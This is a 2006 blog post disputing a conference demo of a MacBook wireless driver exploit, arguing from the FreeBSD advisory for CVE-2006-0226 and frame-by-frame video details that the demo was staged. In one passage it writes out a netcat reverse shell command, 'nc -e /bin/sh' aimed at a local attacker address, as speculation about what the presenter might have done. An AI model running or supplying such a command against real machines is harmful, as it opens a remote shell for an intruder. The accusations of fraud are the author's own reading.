[Previous entry: "Lisp -- the dark side"] [Next entry: "Bruce Schneier Facts"]

08/18/2006: "Knockin' on heaven's door"

Mama, take this badge off of me
I can't use it anymore.
It's gettin' dark, too dark for me to see
I feel like I'm knockin' on heaven's door.

So the news is out, Maynor and Ellch are being slowly discredited.

This, after they angrily attempted to discredit me.

It is a thinly-veiled secret that the new MacBooks (pro or not) and the Intel mini use an Atheros chipset for their "Airport" card. The desktops ("Mac Pro" and "iMac"), except the mini, and all PowerPC Macs that have 802.11g functionality use a Broadcom chipset. What is less known is that the Atheros-supplied Airport driver re-uses the FreeBSD "ath" driver code, loading the Apple80211 on top for a control infrastructure.

What makes this little factoid interesting is that there was a bug in the Information Element (IE) handling in the freebsd-6.0 Atheros driver that probably clued Maynor and Ellch into the possibilities.

The CVE entry is CVE-2006-0226, and the FreeBSD advisory is here. Reading the FreeBSD security advisory, we find:

II. Problem Description

An integer overflow in the handling of corrupt IEEE 802.11 beacon or
probe response frames when scanning for existing wireless networks can
result in the frame overflowing a buffer.

III. Impact

An attacker able broadcast a carefully crafted beacon or probe response
frame may be able to execute arbitrary code within the context of the
FreeBSD kernel on any system scanning for wireless networks.

The patch is here. If you look, the issue is with over-length Information Elements, and these are only present in Beacon and Probe Response frames.

What I said was, It could be CF-END or CF-END+ACK, or it could be malformed beacons, as Glenn states. It could be unsolicited probe-response frames (i.e. without an associated probe request), or it could just be data frames with both FC bits cleared. I believe this last possibility is the most likely.

Inspection of FreeBSD's ieee80211_input.c shows that data frames with both FC blts cleared are dropped, so this avenue isn't open as an exploit on Apple's hardware. (At least, not on the Atheros-based hardware, and I happen to know the guy who maintains the Apple Broadcom driver, and he's sure to have closed that hole as well.)

What is really telling is that Maynor and Ellch have to have known about this bug (they admit to same when they attempt to discredit me), so they MUST HAVE TRIED TO EXPLOIT IT on Apple's "Airport" hardware.

And they must have failed.

But rather than come out and state "the Airport card is not vulnerable", they decided that they must have enough sizzle in their story to get noticed. It just wasn't going to get anyone's notice if they showed their little hack on Windows. Everyone knows that Windows is swiss cheese by now.

Instead, they provoked the audience with, "We're not picking specifically on Macs here, but if you watch those 'Get a Mac' commercials enough, it eventually makes you want to stab one of those users in the eye with a lit cigarette or something."

In what must now be viewed as a desperate attempt to drum up business for their Maynor's firm, the pair implies they went and found a USB device with a driver for MacOS that would forward unsolicited probe response frames, and then, via methods they are too shy (or embarassed) to explain, attached same to a "reverse shell" process on the Macbook. Frankly, from what we're show, its possible that all Maynor does is type nc -e "/bin/sh" 192.168.1.1 port-num, and then simply clears the screen. The version of nc that comes with MacOS doesn't support the '-e' switch, but it would be easy to compile in and replace the stock nc binary.

But wait, theres more, and here it gets really interesting.

In a high-resolution version of the video which I have (ahem) acquired, we can view several other problems.

The first of these is at 0:08 seconds, right after the tltle slide when Maynor introduces himself. In the lower right corner of the frame we see something 'white' which is covered with a white sheet of paper. Now, you would assume that this is the USB device (covered in paper to look like an ExpressCard, as noted before), but this can't be, because at 0:34 Maynor brings the black Macbook into the frame and sets it on the desk, then, at 0:37, raises the screen so we can no longer see the unidentified white object, and at 0:39, reaches under the table to procure the USB device (covered in paper), presenting it at 0:41. Note that at 0:35, he moves the machine to his left, possibly so he can "hit his mark".

Then, when Maynor picks up the Dell notebook at 04:10, the white card is missing from the desk.

At 1:23 Maynor states, "it will manipulate buggy code in the device driver on this Apple. This Apple will connect back to the attacker." I take this to mean that all they've done is found a way to launch a reverse shell on the Apple, connecting back to the Dell.

At 02:04 (corrected, originally I stated "02:24") we see that en1 has a MAC address of 00:17:f2:41:31:6d, and it is the interface with the 192.168.1.50 address. Looking at the IEEE OUI lookup page, we find that 00-17-F2 is "Apple Computer". The Ethernet interface (en0) in Maynor's MacBook has a MAC address of 00:16:cb:d2:07:aa.

Apple has other MAC address ranges, for instance, the Intel mini on which I type this entry has an (Atheros) Airport card inside and its MAC address is 00:14:51:ee:fe:3f, while its Ethernet interface has a MAC address of 00:14:51:ee:fe:3f. Checking around a bit, David Sifry's 15" PowerBook (Broadcom-based Airport) has a MAC address of 00:0d:93:xx:xx:xx. (I don't want to expose the whole thing.)

Something stinks. Maynor explicity states that he isn't using the internal Apple Airport card, but this is the card with the IP address.

Moreover, if you look carefully at the output of the 'ifconfig' command that Maynor types in the shell window on the MacBook, only four interfaces are present in the machine.

en0: The Ethernet device
en1: The Aiport device
wlt1: A device driver Apple supplies for applications to read raw IP frames, like bpf on other Unix systems, doesn't work with Airport on Intel hardware when last I checked.
fw0: IP over FireWire (1394a)

Its likely that lo0, gif0 and stf0 all scrolled off the top of the screen. The important thing here is to note the lack of a USB device in the IP interfaces listed. In a very real sense, I find it likley that the USB device is a McGuffin. A distraction.

Right before he types 'ifconfig' at 02:02, Maynor has typed 'bash'. Why? What possible purpose does this serve? He was already running bash.

At approximately 02:37 we see the "bad_seed" command. Whats interesting here is that there is a ":6d" at the end of the command. This appears to be the trailing edge fo a MAC address, and this appears to match the MAC address for the Airport card in the MacBook (00:17:f2:41:31:6d).

As previosly stated, at 04:10, when Maynor picks up the Dell to walk around the table in case "you're still not convinced", the white piece shown at the very start of the video is missing. Why?

SecurityFix, the outfit that "broke" the story, now has posted a message from Atheros:

"Atheros has not been contacted by SecureWorks and Atheros has not received any code or other proof demonstrating a security vulnerability in our chips or wireless drivers used in any laptop computers. We believe SecureWorks' modified statement and the flaws revealed in its presentation and methodology demonstrates only a security vulnerability in the wireless USB adapter they used in the demo, not in the laptop's internal Wi-Fi card."

Its worse than that.... as shown above, the USB card is likely not a factor, as it isn't being used. From what I can tell, Maynor and Ellch have spoofed the audience in persuit of glory and riches.

Brian Krebs at Securityfocus also got this wrong:

Maynor: OK, so the first step in this is we want to turn this [Windows laptop] into a wireless access point.

BK: Oh, so you do have to have it connected?


It is quite clear from the video that the Dell is running linux or unix, not Windows. Krebs also posted this:

[Maynor misspoke here, and I later clarified this point with him. The wireless device driver that powers the internal wireless card on the Macbook contains flaws that -- when exploited -- give the attacker the ability to create or delete files, or modify system settings. The flaw is in fact in the Macbook's wireless device driver, which is made by a third party. So again, to be clear, the flaw is not, as he suggests in the transcript of this interview, in the Mac OS X operating system itself.]


But again, (not to belabor the point), the USB card isn't being used in the exploit, as Maynor states, and its clearly not in MacOS or the Atheros Airport driver. If these things are all true, (and I believe them to be so), then where is the flaw?

Or was there ever one to begin with?

What is possible is that the USB wireless card hasn't attached to the IP stack on the MacBook, and that the "bad_seed" script somehow gets it to run the equivalent of the "nc" command shown above. If true, this is hardly groundbreaking, or even newsworthy.

It is also possible, of course that the USB device is a complete, absolute distraction. Its clear from the video that the MacBook's Airport card is being used to forward frames. Its also clear that Maynor doesn't want to discuss anything but the USB card, which, except for possibly being used as a trigger for a shell script. Frankly, that wireless card could just be a memory stick for all we know.

Until Ellch and Maynor come clean with the details of exactly how they accomplished what they claimed, I view the issue as "closed". No proof has been offered of their claim, and there are plenty of holes in their cover story.

Mama, put my guns in the ground
I can't shoot them anymore.
That long black cloud is comin' down
I feel like I'm knockin' on heaven's door.